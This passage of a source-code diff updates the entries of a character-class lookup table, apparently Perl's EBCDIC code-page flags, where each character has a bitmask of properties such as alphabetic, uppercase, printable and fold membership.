(1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x59 U+DF I8=B2 sharp s */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x51 U+E9 I8=AA e with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x52 U+EA I8=AB e with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x53 U+EB I8=AC e with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x54 U+E8 I8=AD e with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x55 U+ED I8=AE i with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x56 U+EE I8=AF i with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x57 U+EF I8=B0 i with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x58 U+EC I8=B1 i with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x59 U+DF I8=B2 sharp s */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x5A U+21 '!' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x5B U+24 '$' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x5C U+2A '*' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), @@ -632,29 +632,29 @@ /* 0x5F U+AC I8=B3 NOT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x60 U+2D '-' */ (1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x61 U+2F '/' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0x62 U+C2 I8=B4 A with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x63 U+C4 I8=B5 A with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x64 U+C0 I8=B6 A with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x65 U+C1 I8=B7 A with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x66 U+C3 I8=B8 A with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x67 U+C5 I8=B9 A with RING */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x68 U+C7 I8=BA C with CEDILLA */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x69 U+D1 I8=BB N with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x62 U+C2 I8=B4 A with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x63 U+C4 I8=B5 A with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x64 U+C0 I8=B6 A with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x65 U+C1 I8=B7 A with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x66 U+C3 I8=B8 A with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x67 U+C5 I8=B9 A with RING */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x68 U+C7 I8=BA C with CEDILLA */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x69 U+D1 I8=BB N with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x6A U+A6 I8=BC BROKEN BAR */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x6B U+2C ',' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x6C U+25 '%' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x6D U+5F '_' */ (1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_WORDCHAR), /* 0x6E U+3E '>' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x6F U+3F '?' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0x70 U+F8 I8=BD o with '/' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x71 U+C9 I8=BE E with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x72 U+CA I8=BF E with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x73 U+CB I8=C0 E with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x74 U+C8 I8=C1 E with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x75 U+CD I8=C2 I with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x76 U+CE I8=C3 I with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x77 U+CF I8=C4 I with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0x78 U+CC I8=C5 I with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), +/* 0x70 U+F8 I8=BD o with '/' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x71 U+C9 I8=BE E with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x72 U+CA I8=BF E with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x73 U+CB I8=C0 E with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x74 U+C8 I8=C1 E with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x75 U+CD I8=C2 I with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x76 U+CE I8=C3 I with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x77 U+CF I8=C4 I with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x78 U+CC I8=C5 I with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), /* 0x79 U+60 '`' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x7A U+3A ':' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x7B U+23 '#' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), @@ -662,53 +662,53 @@ /* 0x7D U+27 "'" */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x7E U+3D '=' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x7F U+22 '"' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0x80 U+D8 I8=C6 O with '/' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), -/* 0x81 U+61 'a' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x82 U+62 'b' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x83 U+63 'c' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x84 U+64 'd' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x85 U+65 'e' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x86 U+66 'f' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0x87 U+67 'g' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x88 U+68 'h' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x89 U+69 'i' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* 0x80 U+D8 I8=C6 O with '/' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), +/* 0x81 U+61 'a' */ 